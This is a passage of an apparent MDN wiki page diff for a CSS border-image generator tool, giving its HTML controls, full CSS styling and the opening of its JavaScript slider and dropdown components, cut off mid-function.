+                <div class="property">
+                    <div class="name"> repeat-x </div>
+                    <div class="ui-dropdown border-repeat">
+                        <div>repeat</div>
+                        <div>stretch</div>
+                        <div>round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="name"> repeat-y </div>
+                    <div class="ui-dropdown border-repeat">
+                        <div>repeat</div>
+                        <div>stretch</div>
+                        <div>round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider">
+                    </div>
+                </div>
+
+                <div class="property">
+                    <div class="ui-input-slider"></div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider">
+                    </div>
+                </div>
+            </div>
+
+
+            <div class="category" id="output">
+                <div class="title"> CSS Code </div>
+                <div class="css-property">
+                    <span class="name"> border-image-slice: </span>
+                    <span class="value" id="out-border-slice"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-width: </span>
+                    <span class="value" id="out-border-width"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-outset: </span>
+                    <span class="value" id="out-border-outset"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-repeat: </span>
+                    <span class="value" id="out-border-repeat"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-source: </span>
+                    <span class="value" id="out-border-source">  </span>
+                </div>
+            </div>
+
+        </div>
+    </div></pre>
+ <h3 id="CSS_Content">CSS Content</h3>
+ <pre class="brush: css">/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI DropDown
+ */
+
+/* Dropdown */
+
+.ui-dropdown {
+	height: 2em;
+	width: 120px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 12px;
+
+	background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
+	background-position: right center;
+	background-repeat: no-repeat;
+	background-color: #359740;
+
+	position: relative;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-dropdown:hover {
+	cursor: pointer;
+	background-color: #208B20;
+}
+
+/* Dropdown Select Button */
+
+.ui-dropdown-select {
+	height: inherit;
+	padding: 0 0.75em;
+	color: #FFF;
+	line-height: 2em;
+}
+
+/* Dropdown List */
+
+.ui-dropdown-list {
+	width: 100%;
+	height: 150px;
+	max-height: 150px;
+	margin: 0;
+	padding: 0 0.3em;
+
+	border: 3px solid #3490D2;
+	border-color: #208B20;
+	background: #666;
+	background-color: #EEF1F5;
+	color: #000;
+
+	position: absolute;
+	top: 2em;
+	left: 0;
+	z-index: 100;
+
+	overflow: hidden;
+	transition: all 0.3s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list:hover {
+	overflow: auto;
+}
+
+.ui-dropdown-list[data-hidden='true'] {
+	height: 0 !important;
+	opacity: 0;
+	visibility: hidden;
+}
+
+.ui-dropdown[data-position='left'] .ui-dropdown-list {
+	left: -100%;
+	top: 0;
+}
+
+.ui-dropdown[data-position='right'] .ui-dropdown-list {
+	left: 100%;
+	top: 0;
+}
+
+.ui-dropdown-list &gt; div {
+	width: 100%;
+	height: 1.6em;
+	margin: 0.3em 0;
+	padding: 0.3em;
+	line-height: 1em;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list &gt; div:hover {
+	background: #3490D2;
+	color:#FFF;
+	border-radius: 2px;
+	cursor: pointer;
+}
+
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 2px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * BORDER IMAGE GENERATOR TOOL
+ */
+
+body {
+	width: 100%;
+	margin: 0 auto;
+	padding: 0 0 20px 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	/*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
+	border: 1px solid #EEE;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+body[data-move='X'] {
+	cursor: w-resize !important;
+}
+
+body[data-move='Y'] {
+	cursor: s-resize !important;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+[data-draggable='true']:hover {
+	cursor: move;
+}
+
+[data-draggable='true']:hover &gt; * {
+	cursor: default;
+}
+
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/*
+ * Border Image Picker
+ */
+
+#gallery {
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#image-gallery {
+	width: 600px;
+	height: 100px;
+	margin: 0 auto;
+	transition: margin 0.4s;
+}
+
+#image-gallery .image {
+	height: 80px;
+	float: left;
+	margin: 10px;
+	opacity: 0.5;
+	background-color: #FFF;
+	box-shadow: 0px 0px 3px 1px #BABABA;
+}
+
+#image-gallery .image[selected="true"] {
+	box-shadow: 0px 0px 3px 1px #3BBA52;
+	opacity: 1;
+}
+
+#image-gallery .image:hover {
+	cursor: pointer;
+	box-shadow: 0px 0px 3px 1px #30ACE5;
+	opacity: 1;
+}
+
+#image-gallery[data-collapsed='true'] {
+	margin-top: -100px;
+}
+
+/* Load Menu */
+
+#load-actions {
+	margin: 10px 0;
+}
+
+#toggle-gallery {
+	width: 30px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+	background-repeat: no-repeat;
+	background-position: top 4px center;
+	background-color: #888888 !important;
+
+	border-radius: 2px;
+	float: left;
+}
+
+#toggle-gallery:hover {
+	cursor: pointer;
+}
+
+#toggle-gallery[data-action='show'] {
+	background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
+	background-color: #888888 !important;
+}
+
+#toggle-gallery[data-action='hide'] {
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+}
+
+.button {
+	width: 100px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+	text-align: center;
+	font-size: 12px;
+	line-height: 25px;
+	background-color: #379B4A;
+	border-radius: 2px;
+	float: left;
+}
+
+.button:hover {
+	cursor: pointer;
+	background-color: #3380C4;
+}
+
+#load-image {
+	float: left;
+}
+
+#load-remote {
+	width: 30px;
+	background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
+	background-repeat: no-repeat;
+	background-position: center center;
+}
+
+#remote-url {
+	width: 200px;
+	height: 23px;
+	margin: 10px;
+	padding: 0 5px;
+	border: 1px solid #379B4A;
+	border-radius: 2px;
+	float: left;
+
+	transition: width 0.5s;
+}
+
+#remote-url:focus {
+	box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
+	border-color: rgba(55, 155, 74, 0.5);
+	width: 450px;
+}
+
+/*
+ * Visible Area
+ */
+
+#preview_section {
+	position: relative;
+	min-height: 400px;
+}
+
+/* Image Control */
+
+#subject {
+	width: 300px;
+	height: 300px;
+	background-repeat: no-repeat;
+	background-size: 100%;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+
+	position: absolute;
+	z-index: 10;
+	top: 15%;
+	left: 10%;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition-property: width, height;
+	transition-duration: 0.1s;
+}
+
+#subject .guideline {
+	background-color: rgba(255, 255, 255, 0.7);
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	position: absolute;
+}
+
+#subject .guideline:hover {
+	background-color: #F00;
+}
+
+#subject .guideline[data-active] {
+	background-color: #F00;
+	z-index: 10;
+}
+
+#subject .guideline[data-axis='X'] {
+	width: 1px;
+	height: 100%;
+	top: -1px;
+}
+
+#subject .guideline[data-axis='Y'] {
+	width: 100%;
+	height: 1px;
+	left: -1px;
+}
+
+#subject .guideline[data-axis='X']:hover {
+	cursor: w-resize;
+}
+
+#subject .guideline[data-axis='Y']:hover {
+	cursor: s-resize;
+}
+
+
+#subject .relative {
+	position: relative;
+	font-size: 12px;
+}
+
+#subject .tooltip, #subject .tooltip2 {
+	width: 40px;
+	height: 20px;
+	line-height: 20px;
+	font-size: 12px;
+	text-align: center;
+
+	position: absolute;
+	opacity: 0.5;
+	transition: opacity 0.25s;
+}
+
+#subject .tooltip {
+	background: #EEE;
+	border-radius: 2px;
+	border: 1px solid #CCC;
+}
+
+#subject .tooltip2{
+	color: #555;
+}
+
+#subject [data-active] &gt; * {
+	opacity: 1;
+}
+
+#subject .tooltip[data-info='top'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip[data-info='right'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+#subject .tooltip[data-info='bottom'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip[data-info='left'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='top'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip2[data-info='right'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='bottom'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip2[data-info='left'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+/* Preview */
+
+#preview {
+	width: 30%;
+	height: 50%;
+	background-color: #FFF;
+	text-align: center;
+	overflow: hidden;
+	position: absolute;
+	z-index: 10;
+
+	left: 60%;
+	top: 15%;
+
+	border-radius: 2px;
+	border-image-width: 20px;
+	border-image-repeat: round;
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#preview .resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+#preview .resize-handle:hover {
+	cursor: nw-resize;
+}
+
+
+/*
+ * General controls MENU
+ */
+
+#general-controls {
+	padding: 10px 30px;
+	background-color: #FFF;
+	opacity: 0.95;
+	color: #888;
+	/*border-radius: 2px;*/
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#general-controls .property {
+	width: 130px;
+	float: left;
+}
+
+#general-controls .name {
+	height: 20px;
+	margin: 0 10px 0 0;
+	line-height: 100%;
+	text-align: right;
+	float: left;
+}
+
+#general-controls .right {
+	width: 200px;
+	float: right;
+}
+
+#general-controls .ui-checkbox label {
+	height: 10px;
+}
+
+#general-controls .separator {
+	height: 40px;
+	width: 1px;
+	margin: -10px 15px;
+	background-color: #EEE;
+	float: left;
+}
+
+/*
+ * Controls
+ */
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+#controls .category {
+	height: 190px;
+	min-width: 260px;
+	margin: 10px;
+	padding: 10px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	float: left;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+@media (min-width: 880px) {
+	#controls .category {
+		width: 30%;
+		margin-left: 1.66%;
+		margin-right: 1.66%;
+	}
+}
+
+@media (max-width: 879px) {
+	#controls .category {
+		width: 37%;
+		margin-left: 6.5%;
+		margin-right: 6.5%;
+	}
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#controls .category:hover .title {
+	color: #777;
+}
+
+#controls .category &gt; .group {
+	border: 1px solid #CCC;
+	border-radius: 2px;
+}
+
+
+/* property */
+
+#controls .property {
+	width: 250px;
+	height: 20px;
+	margin: 5px auto;
+}
+
+#controls .property .ui-input-slider {
+	margin: 0;
+	float: left;
+}
+
+#controls .property .ui-input-slider-info {
+	width: 60px;
+}
+
+#controls .property .ui-input-slider-left {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .ui-input-slider-right {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .name {
+	width: 60px;
+	height: 20px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	line-height: 100%;
+	float: left;
+}
+
+#controls .property .config {
+	width: 20px;
+	height: 20px;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
+	opacity: 0.5;
+}
+
+#controls .property .config:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-right {
+    opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-left {
+    opacity: 1;
+}
+
+#controls .property .ui-dropdown {
+	margin: 0 10px;
+	float: left;
+}
+
+
+#controls .property .ui-checkbox {
+	margin: 0 0 0 16px;
+	float: left;
+}
+
+#controls .property .ui-checkbox label {
+	height: 0.85em;
+	width: 10px;
+}
+
+/* dropdowns */
+#controls .ui-dropdown {
+	width: 50px;
+	height: 1.7em;
+	border-radius: 2px;
+}
+
+#controls .ui-dropdown-select {
+	line-height: 1.6em;
+}
+
+#controls .ui-dropdown-list {
+	top: 20px;
+}
+
+#controls .ui-dropdown-list {
+	border-width: 1px;
+	text-align: center;
+}
+
+#controls .ui-dropdown-list:hover {
+	overflow: hidden;
+}
+
+#controls .border-repeat {
+	margin: 0 0 0 16px !important;
+	width: 80px;
+}
+
+#controls .border-repeat .ui-dropdown-list {
+	height: 6.2em;
+	border-width: 1px;
+	text-align: center;
+}
+
+/* border-image-slice */
+
+
+#border-slice-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+/* border-image-width */
+
+#border-width-control .ui-dropdown-list {
+	height: 6.2em;
+}
+
+/* border-image-outset */
+
+#border-outset-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+#aditional-properties .property {
+	width: 200px;
+}
+
+#aditional-properties .ui-input-slider &gt; input {
+	width: 80px !important;
+}
+
+/* unit settings panel */
+
+#unit-settings {
+	padding: 10px;
+	position: absolute;
+
+	background: #FFF;
+
+	font-size: 12px;
+	border-radius: 3px;
+	border: 1px solid #CCC;
+	text-align: center;
+	color: #555;
+
+	position: absolute;
+	z-index: 1000;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+}
+
+#unit-settings .title {
+	width: 100%;
+	margin: -5px auto 0;
+
+	color: #666;
+	font-size: 14px;
+	font-weight: bold;
+	line-height: 25px;
+	border-bottom: 1px solid #E5E5E5;
+}
+
+#unit-settings .ui-input-slider {
+	margin: 10px 0 0 0;
+}
+
+#unit-settings .ui-input-slider-info {
+	width: 50px;
+	line-height: 1.5em;
+}
+
+#unit-settings input {
+	font-size: 12px;
+	width: 40px !important;
+}
+
+#unit-settings .close {
+	width: 16px;
+	height: 16px;
+	background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
+	background-size: 75%;
+
+	position: absolute;
+	top: 4px;
+	right: 4px;
+	opacity: 0.5;
+}
+
+#unit-settings .close:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#unit-settings[data-active='true'] {
+	opacity: 1;
+}
+
+#unit-settings[data-active='false'] {
+	opacity: 0;
+	top: -100px !important;
+}
+
+/*
+ * CSS Output Code
+ */
+
+#output {
+	padding: 10px;
+	border: 2px dashed #888 !important;
+	box-shadow: none !important;
+	border-radius: 3px;
+	overflow: hidden;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+}
+
+
+@media (min-width: 880px) {
+	#output {
+		width: 63.33% !important;
+	}
+}
+
+@media (max-width: 879px) {
+	#output {
+		width: 87% !important;
+	}
+}
+
+
+#output .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#output .css-property {
+	width: 100%;
+	margin: 0;
+	color: #555;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+#output .css-property .name {
+	width: 30%;
+	font-weight: bold;
+	text-align: right;
+	float: left;
+}
+
+#output .css-property .value {
+	width: 65%;
+	padding: 0 2.5%;
+	word-break: break-all;
+	float: left;
+}
+
+</pre>
+ <h3 id="JavaScript_Content">JavaScript Content</h3>
+ <pre class="brush: js">'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision &gt;= 0 ? precision : 0;
+		this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value &gt; 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+/**
+ * UI-DropDown Select
+ */
+
+var DropDownManager = (function DropdownManager() {
+
+	var subscribers = {};
+	var dropdowns = [];
+	var active = null;
+
+	var visbility = ["hidden", "visible"];
+
+
+	var DropDown = function DropDown(node) {
+		var topic = node.getAttribute('data-topic');
+		var label = node.getAttribute('data-label');
+		var selected = node.getAttribute('data-selected') | 0;
+
+		var select = document.createElement('div');
+		var list = document.createElement('div');
+		var uval = 0;
+		var option = null;
+		var option_value = null;
+
+		list.className = 'ui-dropdown-list';
+		select.className = 'ui-dropdown-select';
+
+		while (node.firstElementChild !== null) {
+			option = node.firstElementChild;
+			option_value = option.getAttribute('data-value');
+
+			if (option_value === null)
+				option.setAttribute('data-value', uval);
+
+			list.appendChild(node.firstElementChild);
+			uval++;
+		}
+
+		node.appendChild(select);
+		node.appendChild(list);
+
+		select.onclick = this.toggle.bind(this);
+		list.onclick = this.updateValue.bind(this);
+		document.addEventListener('click', clickOut);
+
+		this.state = 0;
+		this.time = 0;
+		this.dropmenu = list;
+		this.select = select;
+		this.toggle(false);
+		this.value = {};
+		this.topic = topic;
+
+		if (label)
+			select.textContent = label;
+		else
+			this.setNodeValue(list.children[selected]);
+
+		dropdowns[topic] = this;
+
+	};
+
+	DropDown.prototype.toggle = function toggle(state) {
+		if (typeof(state) === 'boolean')
+			this.state = state === false ? 0 : 1;
+		else
+			this.state = 1 ^ this.state;
+
+		if (active !== this) {
+			if (active)
+				active.toggle(false);
+			active = this;
+		}
+
+		if (this.state === 0)
+			this.dropmenu.setAttribute('data-hidden', 'true');
+		else
+			this.dropmenu.removeAttribute('data-hidden');
+
+	};
+
+	var clickOut = function clickOut(e) {
+		if (active.state === 0 ||
+			e.target === active.dropmenu ||
+			e.target === active.select)
+			return;
+
+		active.toggle(false);
+	};
+
+	DropDown.prototype.updateValue = function updateValue(e) {
+
+		if (Date.now() - this.time &lt; 500)
+			return;
+
+		if (e.target.className !== "ui-dropdown-list") {
+			this.setNodeValue(e.target);
+			this.toggle(false);
+		}
+
+		this.time = Date.now();
+	};
+
+	DropDown.prototype.setNodeValue = function setNodeValue(node) {
+		this.value['name'] = node.textContent;
+		this.value['value'] = node.getAttribute('data-value');
+
+		this.select.textContent = node.textContent;
+		this.select.setAttribute('data-value', this.value['value']);
+
+		notify.call(this);
+	};
+
+	var createDropDown = function createDropDown(topic, options) {
+
+		var dropdown = document.createElement('div');
+		dropdown.setAttribute('data-topic', topic);
+		dropdown.className = 'ui-dropdown';
+
+		for (var i in options) {
+			var x = document.createElement('div');
+			x.setAttribute('data-value', i);
+			x.textContent = options[i];
+			dropdown.appendChild(x);
+		}
+
+		new DropDown(dropdown);
+
+		return dropdown;
+	};
+
+	var setValue = function setValue(topic, index) {
+		if (dropdowns[topic] === undefined ||
+			index &gt;= dropdowns[topic].dropmenu.children.length)
+			return;
+
+		dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		var index = subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	};
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-dropdown');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
